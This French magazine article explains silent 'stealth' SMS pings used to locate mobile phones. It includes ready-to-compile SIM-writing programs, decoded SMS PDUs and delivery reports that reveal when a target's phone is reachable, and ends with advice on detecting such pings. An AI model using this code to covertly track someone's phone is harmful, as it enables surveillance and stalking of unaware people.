Comment nous avons perdu 230 euros chez CJ Affiliate (Conversant)

vers Virus Info


[accueil]  [menu]  [suivez-nous !]  [chercher]


2012-09-24 00:00

Des SMS « furtifs » pour nous suivre à la trace ?


Nos téléphones portables sont-ils vraiment bombardés de SMS invisibles et silencieux, permettant de les localiser quasiment en temps réel ? Vérifions donc la faisabilité technique de cette puissante méthode d'investigation policière, avant de chercher à mettre en évidence ou même déjouer les usages qui pourraient bien en être faits à notre insu.

Dès le mois de mai 2004, un chercheur d'un institut suisse de criminalistique rebondissait sur notre article Des SMS malveillants ? paru dans Pirates Mag' 15. Intrigué par les possibilités que nous décrivions alors d'envoyer toutes sortes de SMS « spéciaux », il s'intéressait plus particulièrement à l'idée de reproduire l'équivalent du ping informatique : un SMS passant complètement inaperçu à la réception, mais obligeant le mobile destinataire à renvoyer automatiquement un accusé de réception à son expéditeur.
Sept ans plus tard, les autorités allemandes admettaient sans trop se faire prier que leurs « services » (police, douanes, etc.) émettent chaque année des centaines de milliers de tels SMS « furtifs », dans le but principal d'affiner la localisation d'individus placés sous surveillance. Bien entendu, cela n'arrive qu'aux autres, et plutôt à l'extérieur de nos frontières...

Une localisation « à la demande »
Il est important de bien comprendre que, contrairement à une croyance très répandue, un téléphone portable « basique » n'est pas véritablement « suivi à la trace » en permanence. Selon les spécifications GSM, c'est au mobile qu'il appartient de signaler sa position au réseau, principalement lorsqu'il change de « zone de localisation » (et non pas de relais !) ou bien à intervalles périodiques (de quelques minutes à plusieurs heures). Bien évidemment, le réseau pourrait à tout moment interroger le mobile, mais comme cela consomme des ressources, il ne le fait que s'il en éprouve la nécessité... ou si on le lui demande. Comme une « zone de localisation » s'étend couramment sur des dizaines de cantons, un abonné mobile peut fort bien arpenter un département dans tous les sens en n'étant repéré qu'un petit nombre de fois par le réseau, du moins s'il n'émet ou ne reçoit aucun appel ou SMS !
En cas d'appel « sortant » (volontaire ou automatique), l'opérateur connaît fatalement le relais qui l'a pris en charge, tandis qu'avant d'acheminer un appel « entrant », le réseau part à la recherche du mobile par une procédure dite paging. En gros, une invitation à se signaler est diffusée sur tous les relais de la dernière zone de localisation où le mobile a été repéré, et dès que celui-ci réagit, la communication est routée vers l'antenne la mieux placée pour le desservir.
Il en va sensiblement de même en cas d'acheminement d'un SMS, sauf qu'en cas d'injoignabilité du mobile, le message est mis en attente et automatiquement remis dès que le contact est rétabli. De plus, un accusé de réception peut être demandé, informant l'expéditeur « en temps réel » de la présence de son correspondant sur le réseau.
Qui n'a pas ainsi envoyé un SMS à un passager d'un vol retardé, afin d'être prévenu de son débarquement sans devoir multiplier les appels vocaux infructueux ? Une telle manoeuvre se faisant normalement au vu et au su du destinataire (explicitement informé de l'origine du SMS...), il ne saurait être question de s'en servir à des fins de surveillance discrète.

Exploitons les spécifications !
Parmi les milliers de pages des spécifications GSM, la partie GSM 03.40 explique de façon détaillée le rôle de chaque bit de chaque octet composant un SMS. Moyennant une lecture attentive et pas mal d'essais, cela permet de créer manuellement des PDU (Protocol Data Units) pouvant indifféremment être confiées à un modem GSM, un service d'envoi de SMS, ou... une simple carte SIM. C'est cette dernière possibilité que nous allons exploiter ici pour manipuler sans autre équipement qu'un lecteur de cartes à puce PC/SC, un vieux téléphone portable, et quelques cartes SIM prépayées, potentiellement anonymes et peut-être même gratuites. Pas d'abonnement à souscrire, donc, auprès d'un quelconque service en ligne, et aucun risque de « bombardement » accidentel d'une cible avec des SMS envoyés de façon anarchique.
On pourrait craindre d'avoir l'embarras du choix quant aux types de SMS à mettre en oeuvre pour « réveiller » ainsi, où qu'il se trouve, un mobile en toute discrétion : données « OTA » fictives destinées à la carte SIM, faux messages de dépersonnalisation à distance, mélodies de sonnerie ou fonds d'écran factices, etc. Seulement, pour que de tels messages soient « vraisemblables », leur contenu a souvent besoin d'être adapté au modèle de téléphone ou de carte SIM destinataire. Or, la plupart des téléphones « bien élevés » avertiront leur utilisateur de toute réception d'un SMS jugé « anormal », en garderont sans doute une trace dans leur propre carte SIM, ou demanderont carrément une autorisation pour tenter de l'ouvrir, vendant ainsi la mèche.
La catégorie la plus connue pour être reçue à coup sûr de façon furtive et (en principe) sans enregistrement dans la carte SIM, est le « type 0 » servant à allumer ou éteindre les indicateurs de réception de messages (vocaux, fax, e-mails, etc.). Normalement, son usage est destiné aux opérateurs gérant les boîtes de réception, et toutes sortes d'obstacles se dresseront donc sur le chemin du simple particulier qui voudrait en envoyer. Certains réseaux peuvent tout bonnement refuser de les relayer, ou simplement les recoder en SMS ordinaires, qui s'afficheront alors sous la forme d'un charabia de caractères indéchiffrables. Mais, surtout, bien des téléphones les modifient avant toute transmission, notamment s'ils ouvrent en « mode édition » les SMS qu'ils n'ont pas eux-mêmes créés dans la carte SIM.
Bref, des tests préliminaires s'imposeront avant de choisir le couple téléphone/SIM que l'on mettra à contribution pour passer aux choses sérieuses. Pour notre part, c'est sur le réseau Orange France que nous avons obtenu les résultats escomptés, par l'intermédiaire de l'opérateur virtuel ORTEL ou en utilisant une carte SIM prépayée du réseau belge Mobistar. Côté matériel, nous avons dû nous résoudre à remettre en service des téléphones vintage de chez Philips (Fizz), après de multiples déboires avec des appareils d'autres marques ou plus récents. Leur gros avantage est de pouvoir afficher une liste enregistrée ou archivée des SMS à envoyer que contient la carte SIM, permettant de les expédier sans la moindre altération. Et comme ils enregistrent les accusés de réception dans leur propre SIM au lieu de les interpréter au vol, cela rend même possible une analyse approfondie a posteriori !


Action !
Retirée du téléphone, une carte SIM peut être bricolée à loisir avec le premier lecteur PC/SC venu, grâce à une foultitude d'outils logiciels « dérangeants » que nous avons quelque peu contribués à enrichir au fil des années... Très court, notre petit programme INDIC.BAS est écrit en ZCBasic, et donc compilable en un exécutable Windows INDIC.EXE au moyen de l'incontournable kit de développement BasicCard, toujours 100 % gratuit.

#Include CARDUTIL.DEF
#Include COMMERR.DEF
ComPort=101
Declare Command &HA0 &HA4 SL(S$,Disable Le)
Declare Command &HA0 &HDC UREC(S$,Disable Le)
Public L As Single
SC$="32495002530":REM No du SMSC (Mobistar)
SC$="33689004000":REM No du SMSC (Orange F)
U$=Chr$(&H91)
L=Len(SC$):L=L/2
IF L <> Len(SC$)/2 Then SC$=SC$+"F"
For F=1 To Len(SC$) Step 2
K$=Mid$(SC$,F,2)
U$=U$+Chr$(ValH(Right$(K$,1)+Left$(K$,1)))
Next F
SC$=Chr$(Len(U$))+U$
To$=Chr$(&H00)+Chr$(&H81)
ST$=Chr$(&H07)
SR$=Chr$(&H71)
REF$=Chr$(&H00)
PID$=Chr$(&H40)
DCS$=Chr$(&HC0)
VAL$=Chr$(&HC4)
UD$=Chr$(&H06)+Chr$(&H04)+Chr$(&H01)+Chr$(&H02)+Chr$(&H00)+Chr$(&H00)+Chr$(&H01)
SMS$=ST$+SC$+SR$+REF$+To$+PID$+DCS$+VAL$+UD$
B=176-Len(SMS$)
SMS$=SMS$+String$(B,&HFF)
Call WaitForCard
ResetCard:Call CheckSW1SW2:PRINT
S$=Chr$(&H7F)+CHR$(&H10):Call SL(S$)
S$=Chr$(&H6F)+Chr$(&H3C):Call SL(S$)
Call UREC(P1P2=&H0104,SMS$):Call CheckSW1SW2

Sa seule et unique mission consiste à charger, en position n° 1 dans la carte SIM, un SMS apparemment vide. Vide parce qu'il ne contient aucun texte affichable, mais juste des données « administratives » judicieusement élaborées : des paramètres PID et DCS spéciaux (40h et C0h), et un UDH (User Data Header) spécifique.
Le numéro du SMSC (centre serveur) chargé de l'acheminement du SMS est pré-programmé sur Orange France (+33 689004000), mais on peut le remplacer par celui de Mobistar (+32 495002530) en effaçant la ligne « Orange F » avant recompilation du programme. Bien entendu, chacun pourra expérimenter, à ses risques et périls, en modifiant prudemment d'autres paramètres dans ce code source prêt à l'emploi.
Au cas où le code PIN de la carte SIM serait activé, il conviendrait de le désactiver temporairement afin que le programme puisse y accéder. Rappelons que cela se fait très facilement à partir des menus du téléphone.
Une fois la carte SIM mise en condition par ce logiciel, on la replacera dans le téléphone, où elle devrait fonctionner tout à fait normalement. Il ne restera plus qu'à envoyer le SMS enregistré n° 1 vers un mobile dont on devra spécifier le numéro, puisque notre programme le laisse très logiquement en blanc. Si tout se passe bien, le téléphone destinataire ne devrait ni sonner, ni afficher quoi que ce soit, mais s'il est placé à proximité d'un appareil audio sensible aux perturbations radio, on devrait l'entendre dialoguer avec le relais qui le dessert. Quelques secondes plus tard, le mobile expéditeur devrait recevoir un accusé de réception indiquant que le SMS est bien arrivé, et que la « victime » a donc été localisée par le réseau.
La même manoeuvre, exécutée en direction d'un téléphone hors tension, donnera tout de même lieu à la délivrance immédiate d'un accusé de réception signalant par exemple « En attente » ou « En cours ». Un second sera alors reçu dès que le SMS arrivera à bon port, autrement dit dès que le mobile destinataire sera remis en route dans une zone convenablement couverte. Dans la limite, toutefois, de la période de validité du message (ici un mois, facilement modifiable dans la variable VAL$). En cas de dépassement, un accusé de réception signifiant « Echec » sera délivré, et il appartiendra alors à l'expéditeur de tirer les conclusions qu'il voudra de cette notification.

Analysons les résultats !
Si tout s'est bien passé, aucune information ne pourra être récupérée au niveau du téléphone destinataire du ping, mais si celui-ci sonne ou affiche quoi que ce soit, alors on pourra explorer sa carte SIM (avec un logiciel ad-hoc) pour comprendre ce qui s'est passé, soit dans le téléphone expéditeur, soit dans les réseaux, puis choisir une autre combinaison pour la suite des essais... Tout comme nous, pensez à utiliser l'incontournable PDUspy pour procéder à un décodage « en clair », voire même pour envoyer vos SMS sans transiter par la carte SIM.
Sauf modification volontaire, le programme charge les octets suivants dans la carte SIM :

07 07 91 33 86 09 40 00 F0 71 00 00 81 40 C0 C4 06 04 01 02 00 00 01

PDU LENGTH IS 22 BYTES
ADDRESS OF DELIVERING SMSC
NUMBER IS : +33689004000
TYPE OF NR. : International
NPI : ISDN/Telephone (E.164/163)

MESSAGE HEADER FLAGS
MESSAGE TYPE : SMS SUBMIT
REJECT DUPLICATES : NO
VALIDITY PERIOD : RELATIVE
REPLY PATH : NO
USER DATA HEADER : PRESENT
REQ. STATUS REPORT : YES
MSG REFERENCE NR. : 0 (0x00)

DESTINATION ADDRESS
NUMBER IS :
TYPE OF NR. : Unknown
NPI : ISDN/Telephone (E.164/163)

PROTOCOL IDENTIFIER (0x40)
PROTOCOL USED : SM type 0

DATA CODING SCHEME (0xC0)
STORE MESSAGE : MAY
MESSAGE INDICATOR : DEACTIVATE
INDICATOR TYPE : VOICEMAIL waiting
ALPHABET USED : 7bit default

VALIDITY OF MESSAGE : 30 days

USER DATA PART OF SM
USER DATA LENGTH : 6 septets
UDH LENGTH : 4 octets
UDH : 01 02 00 00
UDH ELEMENTS : 01 - Message indication
2 (0x02) Bytes Information Element
VOICE indicator, delete SM
switch indicator off
USER DATA (TEXT) :

Le téléphone y ajoutant le numéro du destinataire (disons +33 7 12 34 56 78), on devrait y retrouver après envoi :

05 07 91 33 86 09 40 00 F0 71 00 0B 91 33 17 32 54 76 F8 40 C0 C4 06 04 01 02 00 00 01

DESTINATION ADDRESS
NUMBER IS : +33712345678
TYPE OF NR. : International

A noter qu'un octet de statut, tenu à jour par le téléphone, indique si le message est à émettre (07) ou émis (05). 01 signalerait un message reçu et lu, et 00 un emplacement libre dans la carte SIM (message supprimé, mais... pas forcément écrasé par des FF, et donc assez souvent récupérable !).

En cas d'échec de l'expérience (téléphone destinataire qui signalerait l'arrivée du SMS et/ou afficherait des caractères du genre è$ò@@), on pourrait très bien retrouver les octets suivants dans la carte SIM expéditrice :

05 07 91 33 86 09 40 00 F0 31 00 0B 91 33 17 32 54 76 F8 40 F0 C4 06 04 01 02 00 00 01

MESSAGE HEADER FLAGS
MESSAGE TYPE : SMS SUBMIT
REJECT DUPLICATES : NO
VALIDITY PERIOD : RELATIVE
REPLY PATH : NO
USER DATA HEADER : NO UDH
REQ. STATUS REPORT : YES
MSG REFERENCE NR. : 0 (0x00)

PROTOCOL IDENTIFIER (0x40)
PROTOCOL USED : SM type 0

DATA CODING SCHEME (0xF0)
MESSAGE CLASS : 0 (imm. display)
MESSAGE CODING : 7bit default

USER DATA PART OF SM
USER DATA LENGTH : 6 septets
USER DATA (TEXT) : è$ò@@

31 au lieu de 71 fixe un message header flag obligeant le téléphone à afficher le contenu de l'UDH en tant que texte au lieu de l'interpréter comme des ordres à exécuter, tandis que F0 au lieu de C0 transforme notre SMS furtif en « message flash » devant être affiché dès sa réception (classe 0), sans toutefois s'enregistrer dans la carte SIM. Conclusion, ce n'est pas le réseau qui nous a ainsi « censurés », mais bel et bien le téléphone transmetteur. Il faudra donc en chercher un autre, plus complaisant !

Côté réception, on pourrait aussi retrouver (exemples vécus !) :

01 07 91 33 86 09 40 00 F0 04 0B 91 33 17 32 54 76 F8 00 00 21 40 52 01 02 80 80 00

PDU LENGTH IS 27 BYTES
ADDRESS OF DELIVERING SMSC
NUMBER IS : +33689004000
TYPE OF NR. : International
NPI : ISDN/Telephone (E.164/163)

MESSAGE HEADER FLAGS
MESSAGE TYPE : SMS DELIVER
MSGS WAITING IN SC : NO
SEND STATUS REPORT : NO
USER DATA HEADER : NO UDH
REPLY PATH : NO

ORIGINATING ADDRESS
NUMBER IS : +33712345678
TYPE OF NR. : International
NPI : ISDN/Telephone (E.164/163)

PROTOCOL IDENTIFIER (0x00)
MESSAGE ENTITIES : SME-to-SME
PROTOCOL USED : Implicit / SC-specific

DATA CODING SCHEME (0x00)
AUTO-DELETION : OFF
COMPRESSION : OFF
MESSAGE CLASS : NONE
ALPHABET USED : 7bit default

SMSC TIMESTAMP : 25/04/12 10:20 GMT+2,00

USER DATA PART OF SM
USER DATA LENGTH : 0 septets
USER DATA (TEXT) :

ou pis encore :

01 07 91 33 86 09 40 00 F0 24 0B 91 33 17 32 54 76 F8 00 00 21 40 52 11 62 23 80 06 04 01 02 00 00 01

MESSAGE HEADER FLAGS
MESSAGE TYPE : SMS DELIVER
MSGS WAITING IN SC : NO
SEND STATUS REPORT : YES
USER DATA HEADER : NO UDH
REPLY PATH : NO

SMSC TIMESTAMP : 25/04/12 11:26 GMT+2,00

USER DATA PART OF SM
USER DATA LENGTH : 6 septets
USER DATA (TEXT) : è$ò@@

Dans le premier cas, 04 au lieu de 64 signifie qu'il n'a pas été demandé d'accusé de réception, et que le SMS ne comportait pas d'UDH (lequel a effectivement été éliminé !). PID/DCS ayant été remis à 00 00 (valeur par défaut), le message s'est affiché sous la forme d'un écran vide et sa réception a été signalée.
Dans le second exemple, 24 signifie qu'un accusé de réception a bien été demandé, mais qu'il n'y a toujours pas d'UDH. Or, les 7 octets qui l'accueillent n'ayant pas été éliminés, ils s'affichent sous la forme de caractères incompréhensibles de l'alphabet par défaut à 7 bits puisque PID/DCS est à 00 00 !
Clairement, ces facéties sont ici le fait des téléphones utilisés pour l'envoi du SMS, qu'ils ont ouvert « en modification » et recomposé à partir du texte qu'ils ont cru pouvoir y lire, en appliquant leurs paramètres d'envoi par défaut. Un mécanisme à bannir absolument dans le cadre de nos petites expériences ! Dans un cas comme dans l'autre, on remarquera au passage que tout SMS reçu est horodaté : respectivement du 25/04/2012 à 10 H 20' 08" et à 11 H 26' 32". L'octet 80h, pour sa part, précise le fuseau horaire, ici GMT+2 (heure d'été).

Les accusés de réception
N'espérons pas trouver, dans les accusés de réception, des données de localisation du mobile soumis à notre ping ! Pour en prendre connaissance, il faut avoir ses entrées chez l'opérateur, ce qui est notamment le cas des services de police, mais sur réquisition et... aux frais du contribuable. La structure d'un SMS Status Report ordinaire est strictement définie par les spécifications, ce qui permet d'en extraire tout ce qu'il peut contenir d'intéressant.

01 07 91 33 86 09 40 00 F0 06 0D 0B 91 33 17 32 54 76 F8 21 40 62 21 10 33 80 21 40 62 21 10 33 80 30

PDU LENGTH IS 33 BYTES
ADDRESS OF DELIVERING SMSC
NUMBER IS : +33689004000
TYPE OF NR. : International
NPI : ISDN/Telephone (E.164/163)

MESSAGE HEADER FLAGS
MESSAGE TYPE : SMS STATUS REPORT
MSGS WAITING IN SC : NO
RESULT OF A : SMS SUBMIT
MSG REFERENCE NR. : 13 (0x0D)

RECIPIENTS ADDRESS
NUMBER IS : +33712345678
TYPE OF NR. : International
NPI : ISDN/Telephone (E.164/163)

SMSC TIMESTAMP : 26/04/12 12:01 GMT+2,00

DISCHARGE TIMESTAMP : 26/04/12 12:01 GMT+2,00

STATUS OF MESSAGE : (48) TEMPORARY ERROR. STILL TRYING
THIS MEANS : SC-specific status message

Le principal enseignement à en tirer est que deux timestamps sont indiqués à la seconde près : l'instant de réception du message d'origine par le SMSC du réseau, et celui de sa remise effective au destinataire (discharge). Dans cet exemple, ils sont identiques, car le mobile destinataire étant (volontairement) injoignable, le SMSC indique immédiatement qu'il a reçu le message et qu'il attend de pouvoir le distribuer (octet final 30h, soit 48 en décimal).
Un second accusé de réception, avec un code 00 et dûment horodaté, sera reçu lorsque le SMS aura effectivement atteint son destinataire, même à l'insu de celui-ci :

SMSC TIMESTAMP : 26/04/12 12:01 GMT+2,00

DISCHARGE TIMESTAMP : 26/04/12 12:18 GMT+2,00

STATUS OF MESSAGE : (0) TRANSACTION COMPLETED
THIS MEANS : SM received by SME

Cela permet notamment de déterminer à quel moment précis un mobile qui était arrêté (ou hors couverture) lors de l'envoi du ping a été remis en service. Pas très discret, mais parfois utile, dit-on, pour retrouver des personnes disparues ou en détresse.
La plupart des téléphones modernes interceptant « au vol » ces accusés de réception pour en afficher une synthèse actualisée en temps réel, ils ne les enregistrent généralement pas dans la carte SIM comme le ferait par exemple le Fizz, aux fonctionnalités providentiellement plus limitées.

Une variante...
Un peu plus délicat à envoyer selon le matériel employé, voici un SMS furtif réduit à sa plus simple expression, mais qui peut présenter certains avantages : utilisation automatique du numéro de SMSC programmé d'origine dans la carte SIM, aucune action sur les indicateurs de réception de messages, etc.

07 00 31 00 00 81 7F F6 C4 01 20

#Include CARDUTIL.DEF
#Include COMMERR.DEF
ComPort=101
Declare Command &HA0 &HA4 SL(S$,Disable Le)
Declare Command &HA0 &HDC UREC(S$,Disable Le)
SC$=Chr$(&H00)
To$=Chr$(&H00)+Chr$(&H81)
ST$=Chr$(&H07)
SR$=Chr$(&H31)
REF$=Chr$(&H00)
PID$=Chr$(&H7F)
DCS$=Chr$(&HF6)
VAL$=Chr$(&HC4)
UD$=Chr$(&H01)+Chr$(&H20)
SMS$=ST$+SC$+SR$+REF$+To$+PID$+DCS$+VAL$+UD$+String$(165,&HFF)
Call WaitForCard
ResetCard:Call CheckSW1SW2:PRINT
S$=Chr$(&H7F)+CHR$(&H10):Call SL(S$)
S$=Chr$(&H6F)+Chr$(&H3C):Call SL(S$)
Call UREC(P1P2=&H0104,SMS$):Call CheckSW1SW2

On verra dans le code-source (FURTIF.BAS) du programme « clé en main » FURTIF.EXE que PID a été fixé à 7Fh et DCS à F6h, ce qui est nettement plus "culotté" ! Cela indique en effet qu'à la réception, un mobile compatible « phase 2+ » doit remettre le SMS « sous enveloppe » à la carte SIM, et non pas l'enregistrer ou l'afficher... La « charge utile » (dépourvue d'UDH) se limitant à un espace ASCII codé sur 8 bits (20h), nous ne prenons cependant pas grand risque.

PDU LENGTH IS 10 BYTES
NO SMSC ADDRESS PRESENT
MESSAGE HEADER FLAGS
MESSAGE TYPE : SMS SUBMIT
REJECT DUPLICATES : NO
VALIDITY PERIOD : RELATIVE
REPLY PATH : NO
USER DATA HEADER : NO UDH
REQ. STATUS REPORT : YES
MSG REFERENCE NR. : 0 (0x00)
DESTINATION ADDRESS
NUMBER IS :
TYPE OF NR. : Unknown
NPI : ISDN/Telephone (E.164/163)
PROTOCOL IDENTIFIER (0x7F)
PROTOCOL USED : (U)SIM data download
DATA CODING SCHEME (0xF6)
MESSAGE CLASS : 2 (SIM-specific)
MESSAGE CODING : 8bit data
VALIDITY OF MESSAGE : 30 days
USER DATA PART OF SM
USER DATA LENGTH : 1 octets
USER DATA (TEXT) :

Cela fonctionne en tout cas à merveille au départ de notre très coopératif Fizz, tout comme avec certains couples PID / DCS « bizarres », du genre 40h / F5h !

PROTOCOL IDENTIFIER (0x40)
PROTOCOL USED : SM type 0
DATA CODING SCHEME (0xF5)
MESSAGE CLASS : 1 (ME-specific)
MESSAGE CODING : 8bit data

Sniffer le réseau ?
Même si ce n'est pas à la portée de tout un chacun, force est de reconnaître qu'il est aujourd'hui possible de capter et analyser les données numériques que diffusent les relais de téléphonie mobile, avec des moyens parfois aussi rudimentaires qu'un téléphone portable bricolé avec talent. Plus encore que les communications proprement dites, la plupart du temps cryptées, le trafic de « signalisation » promet d'être particulièrement intéressant à observer...
Lors du 28e congrès du Chaos Computer Club, une présentation expliquait ainsi comment déclencher, justement au moyen de SMS furtifs, des conditions favorables au repérage d'un mobile bien précis sans la coopération des opérateurs. Encore faut-il se rendre dans la zone de localisation où l'utilisateur est censé se trouver, puis faire la tournée des relais qui en font partie, en procédant de préférence par élimination ! Il s'agit donc à première vue d'une possibilité purement théorique, mais qui pourrait tout de même compléter d'autres moyens d'investigation en vue d'utiles recoupements.

Etes-vous concerné ?
Il semble acquis que selon les pays, les services de police utilisent déjà massivement les SMS furtifs en tant que technique d'enquête, ou alors en sont pour le moins au stade de l'expérimentation. Les officines privées ne sont pas en reste, loin s'en faut, et interviendraient même couramment en sous-traitance pour le compte des autorités. Emettre des SMS furtifs (ou demander des pagings) à intervalles suffisamment rapprochés leur permet, grâce à une passerelle avec l'informatique des opérateurs, de cartographier en temps réel les déplacements de personnes ou de véhicules. Il faut dire que malgré un certain manque de précision et de fiabilité, la méthode des SMS furtifs présente l'immense avantage d'être efficace sur la plupart des téléphones portables ou modules GSM, sans risque de saturation de leur carte SIM. Nul besoin, en tout cas, que la cible soit un smartphone connecté à Internet et équipé du GPS ou d'une application dédiée ! Aucune nécessité non plus d'y trafiquer quoi que ce soit, et l'utilisateur (consentant ou non !) peut même en changer librement : il suffit que l'on connaisse le numéro d'appel attaché à sa carte SIM.
Les opérateurs de téléphonie mobile vendent manifestement des données de localisation à toutes sortes de « partenaires », par exemple dans le but d'envoyer des SMS publicitaires ciblés en fonction de l'endroit où se trouve le destinataire. Beaucoup moins avouables seraient des usages de type « attaque par déni de service », ayant par exemple pour but de vider rapidement la batterie d'un mobile donné et donc de l'arrêter à distance, voire d'encombrer sciemment les réseaux. Songeons aussi que les détecteurs de téléphones portables dont sont équipés certains lieux « sensibles » ne peuvent guère réagir que s'il y a transmission. Envoyer un SMS furtif à un visiteur, dont on aura au préalable noté le numéro du mobile, suffit pour déclencher une émission qui le trahira s'il est sous tension. Mieux, cela permettrait d'identifier, grâce à son accusé de réception, un téléphone dont on aurait réclamé l'arrêt mais qui viendrait à être subrepticement remis en marche un peu plus tard... Et que penser d'un employeur exigeant de ses salariés qu'ils laissent leur mobile « pro » allumé 24 heures sur 24, et qui s'assurerait par de tels contrôles inopinés que ses consignes (abusives !) sont bien respectées ?

Pour en avoir le coeur net
Comment savoir si nous sommes la cible de telles pratiques, parfois justifiables mais pouvant porter atteinte à notre vie privée ? Déjà en surveillant attentivement les indicateurs de messages en attente (voix, fax, e-mails, etc.) : toute extinction inopinée permettra de penser qu'il y a anguille sous roche ! On devra peut-être s'arranger pour allumer volontairement ces icônes (en s'envoyant des messages qu'on ne lira pas), et guetter ensuite les éventuels changements intempestifs, mais il ne s'agit là aucunement d'une « arme absolue ». Une diminution anormale de l'autonomie d'une batterie en bon état devrait également inciter à se poser des questions.
Il sera alors tout indiqué d'équiper, ne serait-ce que temporairement, son téléphone d'un dispositif capable de détecter ses émissions (vibreur externe, relais de sonnerie, etc.). Complètement passés de mode, ces accessoires pourtant fort astucieux méritent de reprendre du service car ils réagissent aussi à la réception de SMS, même furtifs. Mais attention, ils signalent en outre les localisations périodiques, parfaitement normales si elles ne se produisent pas trop souvent (sensiblement toutes les 80 minutes dans notre cas particulier).
Mais le fin du fin consiste à utiliser sa carte SIM, pendant quelque temps, dans un téléphone GSM réagissant de façon anormale aux SMS furtifs qu'il peut recevoir ! Décidément surdoué, notre Fizz change par exemple spontanément, à la réception, la valeur des paramètres PID/DCS de 40C0h en 40F0h, ce qui entraîne l'affichage immédiat du message. Pas si rare sur des mobiles suffisamment vieux (et en tout cas antérieurs à la « phase 2+ »), ce genre de comportement peut être mis en évidence en s'envoyant à soi-même un SMS furtif. Si le téléphone destinataire signale sa réception, il est souvent possible de retrouver un tel SMS (voire le numéro de son expéditeur !) en analysant le contenu de la carte SIM.
En cas de suspicion confirmée, on pourra envisager de changer de numéro de téléphone, voire de réseau. Cela dit, on peut aussi être victime d'une erreur : lorsqu'un abonné quitte un opérateur (ce qui n'est pas si rare...), son numéro est réattribué au bout de quelques mois et le nouveau client peut fort bien recevoir des SMS (furtifs ou non) destinés à l'ancien titulaire de la ligne. Et notre petit doigt nous dit que certains opérateurs pourraient bien recéder en priorité ces numéros « d'occasion » aux opérateurs virtuels (MVNO) auxquels ils louent leur réseau, gardant les numéros « frais » pour leurs propres clients. Eh oui, nous y avons personnellement eu droit, mais c'est forcément par un pur hasard...

Patrick Gueulle

Tous les ouvrages de l'auteur




Vous voulez soutenir une information indépendante ? Rejoignez notre Club privé !


[homepage]  [RSS]  [archives]
[contact & legal & cookies]  [since 1997]